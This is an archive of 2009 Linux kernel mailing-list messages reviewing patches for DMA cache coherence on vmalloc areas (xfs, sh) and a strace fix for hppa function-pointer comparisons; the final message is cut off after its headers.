References: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de> <1252511536-22066-2-git-send-email-James.Bottomley@suse.de> <1252511536-22066-3-git-send-email-James.Bottomley@suse.de> <1252511536-22066-4-git-send-email-James.Bottomley@suse.de> <1252511536-22066-5-git-send-email-James.Bottomley@suse.de> <1252511536-22066-6-git-send-email-James.Bottomley@suse.de> <1252511536-22066-7-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1252518953 795 80.91.229.12 (9 Sep 2009 17:55:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 17:55:53 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 19:55:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlROS-00026r-S8
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 19:55:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753279AbZIIRzk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2009 13:55:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753054AbZIIRzk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Sep 2009 13:55:40 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:57074 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752682AbZIIRzj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2009 13:55:39 -0400
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MlROP-0003DP-Fl; Wed, 09 Sep 2009 17:55:41 +0000
Content-Disposition: inline
In-Reply-To: <1252511536-22066-7-git-send-email-James.Bottomley@suse.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2144 gmane.linux.kernel.cross-arch:4369 gmane.linux.file-systems:35184
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2144>

On Wed, Sep 09, 2009 at 10:52:16AM -0500, James Bottomley wrote:
> xfs_buf.c includes what is essentially a hand rolled version of
> blk_rq_map_kern().  In order to work properly with the vmalloc buffers
> that xfs uses, this hand rolled routine must also implement the flushing
> API for vmap/vmalloc areas.

It's not really a handcrafted version of blk_rq_map_kern because it
can add discontinuous into a single bio.

The patches look fine to (not pretty but fine :)), and I'll make sure
they get added once those two helpers made it, probably augmented by
a comment explaining what's going on here.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.sysutils.strace.devel
Subject: [PATCH] hppa: Avoid manipulating function pointers from a traced 
	process.
Date: Wed, 9 Sep 2009 14:13:19 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <119aab440909091113jc5dc5f0m33f3be60bdd13eb5@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=00032555a196a54927047329090b
X-Trace: ger.gmane.org 1252520009 4992 80.91.229.12 (9 Sep 2009 18:13:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 18:13:29 +0000 (UTC)
To: strace-devel@lists.sourceforge.net,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 20:13:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlRfW-0007Dk-57
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 20:13:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753642AbZIISNS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2009 14:13:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753805AbZIISNS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Sep 2009 14:13:18 -0400
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:55719 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753642AbZIISNR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2009 14:13:17 -0400
Original-Received: by bwz19 with SMTP id 19so622253bwz.37
        for <linux-parisc@vger.kernel.org>; Wed, 09 Sep 2009 11:13:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=q2I4FUv58S47f6S7tvTSrCGwpQtOUDmWR/KMBb94Osc=;
        b=bRUWDdK9meOuE/QyVogiuRtQNhpgeRlc9iqk2m4gsC64AFzfkYHZW264+fNcmM/OvM
         9+CrMc927LfeptO2Rl0JMeoA4SOR8RR0+EZ1oTbUbS28bHVqqEncMknEJ1H/n+qYB63a
         rKRzYK9MZ8rsVJyD8DjzIOrTGk3H5y06Oujvo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=K8GnoX3Q6HAyVDgcIEUDt6eK/QARSYUCEZBQqIuVNW+Wz/wmF6NzV0CqEtRW0fRqMX
         ZvF6X9pKiHBOOK38VtUGF+u4j0jUUE+WBASpHwkjfNNrF+rqDzEMSfnQZCk4y9nCerRf
         /sh8qWILa4aIw1Q7Rn1fiNPFiBBAkXHz98Y0o=
Original-Received: by 10.204.34.9 with SMTP id j9mr36103bkd.10.1252519999522; Wed, 09 
	Sep 2009 11:13:19 -0700 (PDT)
X-Google-Sender-Auth: 0797e1ed57a0a34b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2145 gmane.comp.sysutils.strace.devel:76
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2145>

--00032555a196a54927047329090b
Content-Type: text/plain; charset=ISO-8859-1

Architectures using function pointers, like hppa, may need to
manipulate the function pointer to compute the result of a comparison.
However, the SA_HANDLER function pointer exists only in the address
space of the traced process, and can't be manipulated by strace. In
order to prevent the compiler from generating code to manipulate
SA_HANDLER we cast the function pointers to long.

Please apply.

Cheers,
Carlos.
~~~
Fix function pointer comparison for hppa.

* signal.c (sys_sigaction): Cast function pointers to long.
(sys_rt_sigaction): Cast function pointers to long.

--00032555a196a54927047329090b
Content-Type: text/x-diff; charset=US-ASCII; name="2009-09-09-strace.diff"
Content-Disposition: attachment; filename="2009-09-09-strace.diff"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_fzedyzzx1

ZGlmZiAtLWdpdCBhL3NpZ25hbC5jIGIvc2lnbmFsLmMKaW5kZXggNzY1MDRmNi4uN2NlNDgwOSAx
MDA2NDQKLS0tIGEvc2lnbmFsLmMKKysrIGIvc2lnbmFsLmMKQEAgLTExMjEsMTEgKzExMjEsMTkg
QEAgc3RydWN0IHRjYiAqdGNwOwogCWVsc2UgaWYgKHVtb3ZlKHRjcCwgYWRkciwgJnNhKSA8IDAp
CiAJCXRwcmludGYoInsuLi59Iik7CiAJZWxzZSB7Ci0JCWlmIChzYS5TQV9IQU5ETEVSID09IFNJ
R19FUlIpCisJCS8qIEFyY2hpdGVjdHVyZXMgdXNpbmcgZnVuY3Rpb24gcG9pbnRlcnMsIGxpa2UK
KwkJICogaHBwYSwgbWF5IG5lZWQgdG8gbWFuaXB1bGF0ZSB0aGUgZnVuY3Rpb24gcG9pbnRlcgor
CQkgKiB0byBjb21wdXRlIHRoZSByZXN1bHQgb2YgYSBjb21wYXJpc29uLiBIb3dldmVyLAorCQkg
KiB0aGUgU0FfSEFORExFUiBmdW5jdGlvbiBwb2ludGVyIGV4aXN0cyBvbmx5IGluIAorCQkgKiB0
aGUgYWRkcmVzcyBzcGFjZSBvZiB0aGUgdHJhY2VkIHByb2Nlc3MsIGFuZCBjYW4ndAorCQkgKiBi
ZSBtYW5pcHVsYXRlZCBieSBzdHJhY2UuIEluIG9yZGVyIHRvIHByZXZlbnQgdGhlIAorCQkgKiBj
b21waWxlciBmcm9tIGdlbmVyYXRpbmcgY29kZSB0byBtYW5pcHVsYXRlIAorCQkgKiBTQV9IQU5E
TEVSIHdlIGNhc3QgdGhlIGZ1bmN0aW9uIHBvaW50ZXJzIHRvIGxvbmcuICovCisJCWlmICgobG9u
ZylzYS5TQV9IQU5ETEVSID09IChsb25nKVNJR19FUlIpCiAJCQl0cHJpbnRmKCJ7U0lHX0VSUiwg
Iik7Ci0JCWVsc2UgaWYgKHNhLlNBX0hBTkRMRVIgPT0gU0lHX0RGTCkKKwkJZWxzZSBpZiAoKGxv
bmcpc2EuU0FfSEFORExFUiA9PSAobG9uZylTSUdfREZMKQogCQkJdHByaW50Zigie1NJR19ERkws
ICIpOwotCQllbHNlIGlmIChzYS5TQV9IQU5ETEVSID09IFNJR19JR04pIHsKKwkJZWxzZSBpZiAo
KGxvbmcpc2EuU0FfSEFORExFUiA9PSAobG9uZylTSUdfSUdOKSB7CiAjaWZuZGVmIFVTRV9QUk9D
RlMKIAkJCWlmICh0Y3AtPnVfYXJnWzBdID09IFNJR1RSQVApIHsKIAkJCQl0Y3AtPmZsYWdzIHw9
IFRDQl9TSUdUUkFQUEVEOwpAQCAtMTkzMSwxMiArMTkzOSwxOSBAQCBzeXNfcnRfc2lnYWN0aW9u
KHN0cnVjdCB0Y2IgKnRjcCkKIAkJdHByaW50Zigiey4uLn0iKTsKIAkJZ290byBhZnRlcl9zYTsK
IAl9Ci0KLQlpZiAoc2EuX19zYV9oYW5kbGVyID09IFNJR19FUlIpCisJLyogQXJjaGl0ZWN0dXJl
cyB1c2luZyBmdW5jdGlvbiBwb2ludGVycywgbGlrZQorCSAqIGhwcGEsIG1heSBuZWVkIHRvIG1h
bmlwdWxhdGUgdGhlIGZ1bmN0aW9uIHBvaW50ZXIKKwkgKiB0byBjb21wdXRlIHRoZSByZXN1bHQg
b2YgYSBjb21wYXJpc29uLiBIb3dldmVyLAorCSAqIHRoZSBTQV9IQU5ETEVSIGZ1bmN0aW9uIHBv
aW50ZXIgZXhpc3RzIG9ubHkgaW4gCisJICogdGhlIGFkZHJlc3Mgc3BhY2Ugb2YgdGhlIHRyYWNl
ZCBwcm9jZXNzLCBhbmQgY2FuJ3QKKwkgKiBiZSBtYW5pcHVsYXRlZCBieSBzdHJhY2UuIEluIG9y
ZGVyIHRvIHByZXZlbnQgdGhlIAorCSAqIGNvbXBpbGVyIGZyb20gZ2VuZXJhdGluZyBjb2RlIHRv
IG1hbmlwdWxhdGUgCisJICogU0FfSEFORExFUiB3ZSBjYXN0IHRoZSBmdW5jdGlvbiBwb2ludGVy
cyB0byBsb25nLiAqLworCWlmICgobG9uZylzYS5fX3NhX2hhbmRsZXIgPT0gKGxvbmcpU0lHX0VS
UikKIAkJdHByaW50Zigie1NJR19FUlIsICIpOwotCWVsc2UgaWYgKHNhLl9fc2FfaGFuZGxlciA9
PSBTSUdfREZMKQorCWVsc2UgaWYgKChsb25nKXNhLl9fc2FfaGFuZGxlciA9PSAobG9uZylTSUdf
REZMKQogCQl0cHJpbnRmKCJ7U0lHX0RGTCwgIik7Ci0JZWxzZSBpZiAoc2EuX19zYV9oYW5kbGVy
ID09IFNJR19JR04pCisJZWxzZSBpZiAoKGxvbmcpc2EuX19zYV9oYW5kbGVyID09IChsb25nKVNJ
R19JR04pCiAJCXRwcmludGYoIntTSUdfSUdOLCAiKTsKIAllbHNlCiAJCXRwcmludGYoInslI2x4
LCAiLCAobG9uZykgc2EuX19zYV9oYW5kbGVyKTsK
--00032555a196a54927047329090b--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal@linux-sh.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.file-systems
Subject: Re: [PATCH 1/5] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Thu, 10 Sep 2009 09:24:09 +0900
Lines: 10
Approved: news@gmane.org
Message-ID: <20090910002409.GB23674@linux-sh.org>
References: <20090908190031.GF6538@flint.arm.linux.org.uk> <1252437112.13003.39.camel@mulgrave.site> <20090908201619.GG6538@flint.arm.linux.org.uk> <1252442352.13003.132.camel@mulgrave.site> <20090908213910.GH6538@flint.arm.linux.org.uk> <1252466070.13003.365.camel@mulgrave.site> <1252466226.13003.367.camel@mulgrave.site> <1252466601.13003.374.camel@mulgrave.site> <20090909033532.GD23049@linux-sh.org> <1252506878.3918.32.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1252542267 13839 80.91.229.12 (10 Sep 2009 00:24:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Sep 2009 00:24:27 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Sep 10 02:24:19 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlXSV-00062U-Hs
	for glka-linux-arch@lo.gmane.org; Thu, 10 Sep 2009 02:24:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753335AbZIJAYO (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 9 Sep 2009 20:24:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752837AbZIJAYO
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 9 Sep 2009 20:24:14 -0400
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:38398 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752713AbZIJAYN (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 9 Sep 2009 20:24:13 -0400
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id 079A963758;
	Thu, 10 Sep 2009 00:24:10 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DrZAbSaRvOtz; Thu, 10 Sep 2009 09:24:09 +0900 (JST)
Original-Received: by master.linux-sh.org (Postfix, from userid 500)
	id B94096375A; Thu, 10 Sep 2009 09:24:09 +0900 (JST)
Mail-Followup-To: Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Russell King <rmk@arm.linux.org.uk>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
Content-Disposition: inline
In-Reply-To: <1252506878.3918.32.camel@mulgrave.site>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4370 gmane.linux.ports.parisc:2146 gmane.linux.file-systems:35198
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2146>

On Wed, Sep 09, 2009 at 09:34:38AM -0500, James Bottomley wrote:
> On Wed, 2009-09-09 at 12:35 +0900, Paul Mundt wrote:
> > And here I thought it was a new gcc construct along the lines of
> > inline-if-so-inclined.. :-)
> 
> Actually, I missed the fact that sh also sets
> ARCH_HAS_FLUSH_KERNEL_DCACHE_PAGE, so you'll need implementations of
> these functions too.  Does this look right?
> 
Yes, I was planning on just wiring it up later, but this looks correct.

From - Thu Nov 08 21:04:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal@linux-sh.org>
Newsgroups: gmane.linux.file-systems,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH 4/6] sh: add mm API for DMA to vmalloc/vmap areas
Date: Thu, 10 Sep 2009 09:27:17 +0900
Lines: 32
Approved: news@gmane.org
Message-ID: <20090910002717.GC23674@linux-sh.org>
References: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de> <1252511536-22066-2-git-send-email-James.Bottomley@suse.de> <1252511536-22066-3-git-send-email-James.Bottomley@suse.de> <1252511536-22066-4-git-send-email-James.Bottomley@suse.de> <1252511536-22066-5-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1252542457 14156 80.91.229.12 (10 Sep 2009 00:27:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Sep 2009 00:27:37 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-fsdevel-owner@vger.kernel.org Thu Sep 10 02:27:30 2009
Return-path: <linux-fsdevel-owner@vger.kernel.org>
Envelope-to: lnx-linux-fsdevel@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlXVZ-0006fR-8M
	for lnx-linux-fsdevel@lo.gmane.org; Thu, 10 Sep 2009 02:27:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754598AbZIJA1W (ORCPT <rfc822;lnx-linux-fsdevel@m.gmane.org>);
	Wed, 9 Sep 2009 20:27:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753335AbZIJA1W
	(ORCPT <rfc822;linux-fsdevel-outgoing>);
	Wed, 9 Sep 2009 20:27:22 -0400
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:38421 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752901AbZIJA1V (ORCPT
	<rfc822;linux-fsdevel@vger.kernel.org>);
	Wed, 9 Sep 2009 20:27:21 -0400
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id 79C5A63758;
	Thu, 10 Sep 2009 00:27:18 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id bP8gW7+SeoPh; Thu, 10 Sep 2009 09:27:17 +0900 (JST)
Original-Received: by master.linux-sh.org (Postfix, from userid 500)
	id 828FE6375A; Thu, 10 Sep 2009 09:27:17 +0900 (JST)
Mail-Followup-To: Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>,
	linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>
Content-Disposition: inline
In-Reply-To: <1252511536-22066-5-git-send-email-James.Bottomley@suse.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-fsdevel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-fsdevel.vger.kernel.org>
X-Mailing-List: linux-fsdevel@vger.kernel.org
Xref: news.gmane.org gmane.linux.file-systems:35199 gmane.linux.kernel.cross-arch:4371 gmane.linux.ports.parisc:2147
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2147>

On Wed, Sep 09, 2009 at 10:52:14AM -0500, James Bottomley wrote:
> Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> ---
>  arch/sh/include/asm/cacheflush.h |    8 ++++++++
>  1 files changed, 8 insertions(+), 0 deletions(-)
> 
> diff --git a/arch/sh/include/asm/cacheflush.h b/arch/sh/include/asm/cacheflush.h
> index 4c5462d..db06611 100644
> --- a/arch/sh/include/asm/cacheflush.h
> +++ b/arch/sh/include/asm/cacheflush.h
> @@ -48,6 +48,14 @@ static inline void flush_kernel_dcache_page(struct page *page)
>  {
>  	flush_dcache_page(page);
>  }
> +static inline void flush_kernel_dcache_addr(void *addr)
> +{
> +	__flush_invalidate_region(addr, PAGE_SIZE);
> +}
> +static inline void invalidate_kernel_dcache_addr(void *addr)
> +{
> +	__flush_invalidate_region(addr, PAGE_SIZE);
> +}
>  
Actually, I spoke too soon. The first one should be either a
__flush_purge_region() or __flush_wback_region() I suspect. The former
does both a writeback and invalidate, while the latter only does the
writeback.
--
To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/5] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Thu, 10 Sep 2009 00:30:01 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <1252542601.18356.64.camel@mulgrave.site>
References: <20090908190031.GF6538@flint.arm.linux.org.uk>
	 <1252437112.13003.39.camel@mulgrave.site>
	 <20090908201619.GG6538@flint.arm.linux.org.uk>
	 <1252442352.13003.132.camel@mulgrave.site>
	 <20090908213910.GH6538@flint.arm.linux.org.uk>
	 <1252466070.13003.365.camel@mulgrave.site>
	 <1252466226.13003.367.camel@mulgrave.site>
	 <1252466601.13003.374.camel@mulgrave.site>
	 <20090909033532.GD23049@linux-sh.org>
	 <1252506878.3918.32.camel@mulgrave.site>
	 <20090910002409.GB23674@linux-sh.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252542617 14554 80.91.229.12 (10 Sep 2009 00:30:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Sep 2009 00:30:17 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Paul Mundt <lethal@linux-sh.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 10 02:30:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlXY8-0007EU-Rp
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Sep 2009 02:30:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754782AbZIJAaE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2009 20:30:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754771AbZIJAaD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Sep 2009 20:30:03 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45040 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754758AbZIJAaC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2009 20:30:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7E70D8EE105;
	Wed,  9 Sep 2009 17:30:05 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id FhQXLuspJACG; Wed,  9 Sep 2009 17:30:05 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C97F88EE0E2;
	Wed,  9 Sep 2009 17:30:04 -0700 (PDT)
In-Reply-To: <20090910002409.GB23674@linux-sh.org>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2148 gmane.linux.file-systems:35200 gmane.linux.kernel.cross-arch:4372
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2148>

On Thu, 2009-09-10 at 09:24 +0900, Paul Mundt wrote:
> On Wed, Sep 09, 2009 at 09:34:38AM -0500, James Bottomley wrote:
> > On Wed, 2009-09-09 at 12:35 +0900, Paul Mundt wrote:
> > > And here I thought it was a new gcc construct along the lines of
> > > inline-if-so-inclined.. :-)
> > 
> > Actually, I missed the fact that sh also sets
> > ARCH_HAS_FLUSH_KERNEL_DCACHE_PAGE, so you'll need implementations of
> > these functions too.  Does this look right?
> > 
> Yes, I was planning on just wiring it up later, but this looks correct.

Great, thanks!

Give me an ack and I'll take care of submitting it ... although it would
be nice to test it out with the xfs problem case.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: Re: [PATCH 4/6] sh: add mm API for DMA to vmalloc/vmap areas
Date: Thu, 10 Sep 2009 00:32:30 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <1252542750.18356.68.camel@mulgrave.site>
References: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
	 <1252511536-22066-2-git-send-email-James.Bottomley@suse.de>
	 <1252511536-22066-3-git-send-email-James.Bottomley@suse.de>
	 <1252511536-22066-4-git-send-email-James.Bottomley@suse.de>
	 <1252511536-22066-5-git-send-email-James.Bottomley@suse.de>
	 <20090910002717.GC23674@linux-sh.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252542770 14829 80.91.229.12 (10 Sep 2009 00:32:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Sep 2009 00:32:50 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>
To: Paul Mundt <lethal@linux-sh.org>
